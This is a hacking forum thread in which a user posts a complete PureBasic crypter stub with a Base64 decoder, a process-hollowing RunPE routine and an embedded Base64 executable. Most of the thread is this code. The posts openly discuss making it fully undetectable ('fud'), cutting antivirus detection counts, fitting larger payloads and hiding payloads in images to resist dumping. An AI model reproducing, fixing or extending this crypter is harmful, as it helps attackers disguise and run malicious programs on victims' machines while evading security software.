[Killpot]

Yo.

So I'm still playing around with purebasic and translating crypters I've made in other languages to it, so here's a super simple stub that just stores a file in a base 64 string, then converts it back at runtime and directly executes the runpe, no fancy reflection or method invoking or dynamic loading.

This is very easily fud'able and with some basic knowledge you should be able to figure it out, I managed to cut it down from a near 20 detections down to 8 just by adding some assembly info and an icon.

You should be able to execute this as is, the current base64 string is just a hello world in purebasic, I think it's around 2kb.

Virus Scan: https://nodistribute.com/result/GDfBdp31...cSm6FvjwHr

Here ya go:

Code:

Procedure.i Base64_Decode ( sInput.s ) Static Dim cLockUp .c ( 81 ) Static blInit .i Protected *ptrData .CHARACTER = @ sInput Protected nSize .i = Len ( sInput ) + 1 Protected *ptrEnd = *ptrData + ( nSize * SizeOf ( CHARACTER ) ) Protected nValue .b Protected nPartSize .f = ( nSize - ( nSize / 3.333 ) ) * SizeOf ( CHARACTER ) Protected *ptrOutput .BYTE = AllocateMemory ( Int ( nPartSize ) ) Protected *ptrOutputStart = *ptrOutput Protected Dim cInput .a ( 4 ) Protected Dim bOutput .b ( 3 ) Protected nBlockSize .i Protected nI .i If Not ( *ptrData ) ProcedureReturn #Null EndIf If Not blInit blInit = #True CopyMemory ( @ "|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq" , @ cLockUp ( 0 ) , 80 * SizeOf ( CHARACTER ) ) EndIf While ( *ptrData < *ptrEnd ) nBlockSize = 0 For nI = 0 To 3 If ( *ptrData < *ptrEnd ) nValue = 0 While ( *ptrData < *ptrEnd And Not nValue ) nValue = *ptrData\c : *ptrData + SizeOf ( CHARACTER ) If ( nValue < 43 Or nValue > 122 ) nValue = 0 Else nValue = cLockUp ( nValue - 43 ) EndIf If ( nValue = '$' ) nValue = 0 Else nValue = nValue - 61 EndIf Wend If ( *ptrData < *ptrEnd ) nBlockSize + 1 If ( nValue ) cInput ( nI ) = nValue - 1 EndIf EndIf Else Break EndIf Next nI If nBlockSize bOutput ( 0 ) = ( cInput ( 0 ) << 2 | cInput ( 1 ) >> 4 ) bOutput ( 1 ) = ( cInput ( 1 ) << 4 | cInput ( 2 ) >> 2 ) bOutput ( 2 ) = ( ( ( cInput ( 2 ) << 6 ) & $C0 ) | cInput ( 3 ) ) nI = 0 While ( nI < ( nBlockSize - 1 ) ) *ptrOutput\b = bOutput ( nI ) *ptrOutput + SizeOf ( BYTE ) nI + 1 Wend EndIf Wend ProcedureReturn *ptrOutputStart EndProcedure Procedure SomeonePleaseDoMyTaxesForMe(sProc.s, lBuff) *idh.IMAGE_DOS_HEADER = lBuff *ish.IMAGE_SECTION_HEADERS pi.PROCESS_INFORMATION *inh.IMAGE_NT_HEADERS si.STARTUPINFO lpBaseAddres.l Ctx.CONTEXT Addr.l ret.l i.l CreateProcess_(#NUL, sProc, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi) Ctx\ContextFlags = #CONTEXT_INTEGER If GetThreadContext_(pi\hThread, Ctx) = 0 : Goto EndThread : EndIf ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL) If ZwUnmapViewOfSection_(Pi\hProcess, Addr) : Goto EndThread : EndIf If lBuff = 0 : Goto EndThread : EndIf *inh = lBuff + *idh\e_lfanew lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE) WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret) *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader For i = 0 To *inh\FileHeader\NumberOfSections - 1 WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret) Next WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL) Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint SetThreadContext_(pi\hThread, Ctx) ResumeThread_(pi\hThread) End EndThread: TerminateProcess_(pi\hProcess, #NUL) CloseHandle_(pi\hThread) CloseHandle_(pi\hProcess) EndProcedure File.s = Space(1024) GetModuleFileName_(0, File, 1024) Restore Magnets Read.s cloud.s SomeonePleaseDoMyTaxesForMe(File, Base64_Decode(cloud)) DataSection Magnets: Data.s "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAACQkEgAZQBsAGwAbwAgAHcAbwByAGwAZAAhAAAAAAAAAAAA/////wAAAADEIEAATSFAAIxAAAAAAAAAAAAAAHZBAAD8QAAAoEAAAAAAAAAAAAAAwEEAABBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGxBAADOQQAA2EEAAOJBAAAAAAAAgkEAAJZBAACkQQAAskEAAOxBAAD8QQAADEIAACpCAABCQgAAVkIAAHJCAAB+QgAAkkIAAJ5CAACwQgAAwEIAANhCAADkQgAA9EIAAAxDAAAcQwAAKEMAAAAAAABsQQAAzkEAANhBAADiQQAAAAAAAIJBAACWQQAApEEAALJBAADsQQAA/EEAAAxCAAAqQgAAQkIAAFZCAAByQgAAfkIAAJJCAACeQgAAsEIAAMBCAADYQgAA5EIAAPRCAAAMQwAAHEMAAChDAAAAAAAAmQJtZW1zZXQAAE1TVkNSVC5kbGwAAPoBR2V0TW9kdWxlSGFuZGxlVwAApAJIZWFwQ3JlYXRlAAClAkhlYXBEZXN0cm95AAUBRXhpdFByb2Nlc3MAS0VSTkVMMzIuZGxsAADmAndjc2xlbgAA4wJ3Y3NjcHkAAOkCd2NzbmNweQAPAEFsbG9jQ29uc29sZQAAPgJHZXRTdGRIYW5kbGUAAJwBR2V0Q29uc29sZVNjcmVlbkJ1ZmZlckluZm8AAK8DU2V0Q29uc29sZUN0cmxIYW5kbGVyAMoDU2V0Q29uc29sZVRpdGxlVwAAuQJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAKICSGVhcEFsbG9jAEIBRmx1c2hGaWxlQnVmZmVycwAApgJIZWFwRnJlZQAAvwNTZXRDb25zb2xlTW9kZQAAbANSZWFkQ29uc29sZVcAANoARW50ZXJDcml0aWNhbFNlY3Rpb24AAG4DUmVhZEZpbGUAAOcBR2V0TGFzdEVycm9yAAD0AkxlYXZlQ3JpdGljYWxTZWN0aW9uAACWBFdyaXRlQ29uc29sZVcAlwRXcml0ZUZpbGUAqQJIZWFwUmVBbGxvYwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHYBKVcAAAAAAAABABgAAAAYAACAAAAAAHYBKVcAAAAAAAABAAEAAAAwAACAAAAAAHYBKVcAAAAAAAABAAkEAABIAAAAWFAAAGMCAAAAAAAAAAAAADw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJ5ZXMiPz4KPGFzc2VtYmx5IHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MSIgbWFuaWZlc3RWZXJzaW9uPSIxLjAiPgogIDxhc3NlbWJseUlkZW50aXR5CiAgICB2ZXJzaW9uPSIxLjAuMC4wIgogICAgcHJvY2Vzc29yQXJjaGl0ZWN0dXJlPSJYODYiCiAgICBuYW1lPSJDb21wYW55TmFtZS5Qcm9kdWN0TmFtZS5Zb3VyQXBwIgogICAgdHlwZT0id2luMzIiIC8+CiAgPGRlc2NyaXB0aW9uPjwvZGVzY3JpcHRpb24+CiAgPGRlcGVuZGVuY3k+CiAgICA8ZGVwZW5kZW50QXNzZW1ibHk+CiAgICAgIDxhc3NlbWJseUlkZW50aXR5CiAgICAgICAgdHlwZT0id2luMzIiCiAgICAgICAgbmFtZT0iTWljcm9zb2Z0LldpbmRvd3MuQ29tbW9uLUNvbnRyb2xzIgogICAgICAgIHZlcnNpb249IjYuMC4wLjAiCiAgICAgICAgcHJvY2Vzc29yQXJjaGl0ZWN0dXJlPSJYODYiCiAgICAgICAgcHVibGljS2V5VG9rZW49IjY1OTViNjQxNDRjY2YxZGYiCiAgICAgICAgbGFuZ3VhZ2U9IioiIC8+CiAgICA8L2RlcGVuZGVudEFzc2VtYmx5PgogIDwvZGVwZW5kZW5jeT4KCjwvYXNzZW1ibHk+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" EndDataSection

[waste49]

hi , do you know how to deal with the char limit in purebasic ? i've tried to base64 an exe => 120ko , put it in data.s section ,

PureBasic said characters stings can't exceed 8192 chars ... even separating data.s lines, it's the whole string that's too long, i know it works with data.b ,

[Killpot]

hi , do you know how to deal with the char limit in purebasic  ? i've tried to base64 an exe => 120ko , put it in data.s section ,

PureBasic said  characters stings can't exceed 8192 chars ... even separating data.s lines, it's the whole string that's too long, i know it works with data.b ,

Yeah that's pretty easy actually, instead of including it as a literal string, you would have more luck just including it as a binary, so instead of data.s, replace it with IncludeBinary "{path to base 64 dump}". Or you could use resources.

[waste49]

thanks,

i obtain an invalid Memory Access when compiling with  my b64 file   includebinary

procedure Base64_Decode  :

Code:

While ( nI < ( nBlockSize - 1 ) )            *ptrOutput\b = bOutput ( nI )             <=   compilation stops here            *ptrOutput    + SizeOf ( BYTE )            nI             + 1         Wend      EndIf   Wend     ProcedureReturn *ptrOutputStart EndProcedure

my b64file size is 160 ko  ; it perfectly works with a messagerequester file 5ko

should i increase a buffer size ???

[Wildfire]

Nice stub, Killpot. I'd still be able to easily dump this though, nyehehehe.

[Killpot]

thanks,

i obtain an invalid Memory Access when compiling with  my b64 file   includebinary

procedure Base64_Decode  :

Code:

While ( nI < ( nBlockSize - 1 ) )            *ptrOutput\b = bOutput ( nI )             <=   compilation stops here            *ptrOutput    + SizeOf ( BYTE )            nI             + 1         Wend      EndIf   Wend     ProcedureReturn *ptrOutputStart EndProcedure

my b64file size is 160 ko  ; it perfectly works with a messagerequester file 5ko

should i increase a buffer size ???

I haven't taken the time to really look through or test for this error, but if I were you I would try that, and if it still doesn't work, then just look for a different decoding function.

---

Nice stub, Killpot. I'd still be able to easily dump this though, nyehehehe.

haha there's really nothing in it to prevent dumping, if I really wanted to be mean I could chunk the payload, and convert it into images with a set color offset, THAT would be mean

[BORW3]

This language format makes c++ look very easy.

[Killpot]

This language format makes c++ look very easy.

It's extremely easy getting into if you're from a BASIC background.

[waste49]

detections rate are 3/35 now with little tricks ,  due to my shellcode content not from RunPe  ,  nice

[Despised]

This language format makes c++ look very easy.

Dedication + trial and error do the trick.